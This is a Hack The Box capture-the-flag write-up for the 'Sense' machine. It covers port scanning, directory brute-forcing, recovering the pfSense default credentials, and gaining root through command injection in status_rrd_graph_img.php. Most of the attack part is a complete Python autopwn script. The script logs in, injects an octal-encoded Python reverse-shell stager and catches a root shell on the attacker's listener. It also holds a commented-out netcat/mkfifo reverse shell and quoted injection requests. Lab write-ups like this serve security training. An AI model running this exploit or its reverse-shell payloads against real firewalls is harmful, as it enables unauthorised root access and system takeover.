Sense write-up

Ανάλυση του Sense

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox bsd bsd

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.60
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-03-22 09:51:28 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 443/tcp on 10.10.10.60                                    
Discovered open port 80/tcp on 10.10.10.60

We found TCP ports 80 and 443 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,443 10.10.10.60

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-22 11:54 EET
Nmap scan report for 10.10.10.60
Host is up (0.091s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open  ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): OpenBSD 4.X (93%), Comau embedded (92%), Linux 2.6.X (89%)
OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/o:linux:linux_kernel:2.6.29
Aggressive OS guesses: OpenBSD 4.0 (93%), Comau C4G robot control unit (92%), Linux 2.6.29 (89%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).

Brute forcing directories and files

There are multiple vulnerabilities for PfSense but we need an authenticated user to exploit most of them. Maybe we can find some credentials if we search for notes in text files:

$ dirsearch -u https://10.10.10.60 -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e txt

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: txt | Threads: 10 | Wordlist size: 441041

Target: https://10.10.10.60

[09:42:09] Starting: 
[09:42:45] 200 -  271B  - /changelog.txt
[09:43:42] 200 -    7KB - /tree/
[09:45:52] 302 -    0B  - /installer/  ->  installer.php
[10:51:23] 200 -  106B  - /system-users.txt

Finding credentials

Let’s see the contents of https://10.10.10.60/system-users.txt:

####Support ticket###

Please create the following user

username: Rohit
password: company defaults

Let’s google-search the default password for PfSense:

https://doc.pfsense.org/index.php/What_is_the_default_username_and_password

The default credentials for a pfSense firewall are:

Username: admin
Password: pfsense

https://doc.pfsense.org/index.php/Installing_pfSense#pfSense_Default_Configuration

Default credentials are set to a username of admin with password pfsense

Therefore our credentials are rohit:pfsense.

Getting root

Now, let’s search for PfSense vulnerabilities:

$ searchsploit pfsense -w
--------------------------------------------------------------------------------
 Exploit Title
--------------------------------------------------------------------------------
pfSense - 'interfaces.php?if' Cross-Site Scripting
    https://www.exploit-db.com/exploits/35071/
pfSense - 'pkg.php?xml' Cross-Site Scripting
    https://www.exploit-db.com/exploits/35069/
pfSense - 'pkg_edit.php?id' Cross-Site Scripting
    https://www.exploit-db.com/exploits/35068/
pfSense - 'status_graph.php?if' Cross-Site Scripting
    https://www.exploit-db.com/exploits/35070/
pfSense - Authenticated Group Member Remote Command Execution (Metasploit)
    https://www.exploit-db.com/exploits/43193/
pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities
    https://www.exploit-db.com/exploits/34985/
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / RCE
    https://www.exploit-db.com/exploits/23901/
pfSense 2.1 build 20130911-1816 - Directory Traversal
    https://www.exploit-db.com/exploits/31263/
pfSense 2.2 - Multiple Vulnerabilities
    https://www.exploit-db.com/exploits/36506/
pfSense 2.2.5 - Directory Traversal
    https://www.exploit-db.com/exploits/39038/
pfSense 2.3.1_1 - Command Execution
    https://www.exploit-db.com/exploits/43128/
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery
    https://www.exploit-db.com/exploits/41501/
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities
    https://www.exploit-db.com/exploits/39709/
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery
    https://www.exploit-db.com/exploits/39306/
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery
    https://www.exploit-db.com/exploits/39695/
pfSense UTM Platform 2.0.1 - Cross-Site Scripting
    https://www.exploit-db.com/exploits/24439/
--------------------------------------------------------------------------------

Check also this link: https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/

Let’s see https://www.exploit-db.com/exploits/39709/:

The status_rrd_graph_img.php page is vulnerable to command injection via the graph GET parameter. A non-administrative authenticated attacker having access privileges to the graph status functionality can inject arbitrary operating system commands and execute them in the context of the root user. Although input validation is performed on the graph parameter through a regular expression filter, the pipe character is not removed. Octal characters sequences can be used to encode a payload, bypass the filter for illegal characters, and create a PHP file to download and execute a malicious file (i.e. reverse shell) from a remote attacker controlled host.
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|command|echo%20 HTTP/1.1
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20OCTET_ENCODED_SHELLCODE|sh|echo%20 HTTP/1.1

Unfortunately, the exploit 39709 is badly written and very messy as it mixes HTML, Javascript, PHP and Python for no reason. So, I wrote my own exploitation script in Python.

Autopwn script

Here is my script: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Sense/autopwn_sense.py

Don’t forget to set LHOST appropriately.

#!/usr/bin/env python2
# Author: Alamot (Antonios Tsolis)

import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False
RHOST="10.10.10.60"
RPORT=443
LHOST="10.10.15.128"
LPORT=60001

if DEBUG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

def send_ptyshell_payload():

    # This payload works too
    # stager = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc " + str(LHOST) + " " + str(LPORT) + " > /tmp/f"

    stager = "python -c \"import os, pty, socket; lhost = '"+ str(LHOST) + "'; lport = " + str(LPORT) + "; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv('HISTFILE','/dev/null'); pty.spawn('/bin/sh'); s.close(); exit()\""

    encoded_stager = ""
    for c in stager:
        encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
    time.sleep(1)

    client = None
    try:
        urllib3.disable_warnings()
        client = requests.session()
        client.verify = False
        client.keep_alive = False

        # Retrieve the CSRF token first
        p1=log.progress("Connecting to get csrf token")
        response = client.get("https://"+str(RHOST)+":"+str(RPORT), timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        csrf = re.search('csrfMagicToken\s*=\s*"(sid:\w+,\d+)', response.text).group(1)
        p1.success("csrfMagicToken = " + csrf)

        # Login
        p2=log.progress("Logging in")
        data={"__csrf_magic":csrf, "usernamefld":"rohit", "passwordfld":"pfsense", "login":"Login"}
        response = client.post("https://"+str(RHOST)+":"+str(RPORT)+"/index.php", data=data, timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        p2.success("Status "+str(response.status_code))

        # Send payload
        p3=log.progress("Sending pty shell payload...")
        try:
            params={"database":"-throughput.rrd", "graph":"file|printf "+encoded_stager+"|sh|echo "}
            response = client.get("https://"+str(RHOST)+":"+str(RPORT)+"/status_rrd_graph_img.php", params=params, timeout=5)
            if response.status_code != 200:
                p3.failure("Status "+str(response.status_code))
                sys.exit()
        except requests.exceptions.Timeout as e:
            p3.success("OK")

    except requests.exceptions.RequestException as e:
        log.failure(str(e))

    finally:
        if client:
            client.close()
        log.success("Web thread exited successfully.")

try:
    threading.Thread(target=send_ptyshell_payload).start()
except Exception as e:
    log.error(str(e))
ptyshell = listen(LPORT, timeout=5).wait_for_connection()
if ptyshell.sock is None:
    log.failure("Connection timeout.")
    sys.exit()
ptyshell.interactive()
sys.exit()

Let’s run it:

$ ./autopwn_sense.py
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.60 on port 49022
[+] Connecting to get csrf token: csrfMagicToken = sid:5fcb86e278c2e4cb6b5aa5b4346218a9fb4d1647,1521716176
[+] Logging in: Status 200
[+] Sending pty shell payload...: OK
[*] Switching to interactive mode
# $ whoami
root

See also...

Δείτε επίσης...